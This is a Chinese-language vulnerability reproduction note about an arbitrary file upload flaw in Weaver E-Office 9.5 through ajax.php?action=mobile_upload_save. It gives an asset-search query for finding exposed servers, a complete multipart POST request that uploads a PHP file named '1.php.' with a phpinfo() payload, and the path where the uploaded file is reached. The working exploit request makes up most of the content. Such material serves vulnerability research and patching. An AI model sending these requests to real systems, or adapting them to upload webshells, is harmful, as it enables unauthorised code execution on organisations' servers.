登录 白背景

泛微E-Office mobile_upload_save存在任意文件上传漏洞

一、漏洞简介

<font style="color:rgb(0, 0, 0);">泛微 E-Office是中国泛微科技(Weaver)公司的一个协同办公系统。泛微 E-Office 9.5版本存在代码问题漏洞,该漏洞源于App/Ajax/ajax.php?action=mobile_upload_save 存在未知函数,通过参数 upload_quwan 导致不受限制的上传。</font>

<font style="color:rgb(0, 0, 0);">二、影响版本</font>

  • <font style="color:rgb(0, 0, 0);">泛微 E-Office 9.5</font>

<font style="color:rgb(0, 0, 0);">三、资产测绘</font>

  • hunterapp.name="泛微 e-office OA"
  • 特征

1699626155208-edbd078f-2fee-4a15-ae03-662e19b14f2e.png

<font style="color:rgb(0, 0, 0);">四、漏洞复现</font>

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="upload_quwan"; filename="1.php."
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

1699626669991-b622f22d-33d0-4674-af9f-4d9b8294e30e.png

根据响应得到上传文件位置

/attachment/3042759248/1.php

1699626714042-d6eda33d-f0a4-4ae2-a649-69dbe68282ec.png

原文: https://www.yuque.com/xiaokp7/ocvun2/wgzdbyoz6s967e3u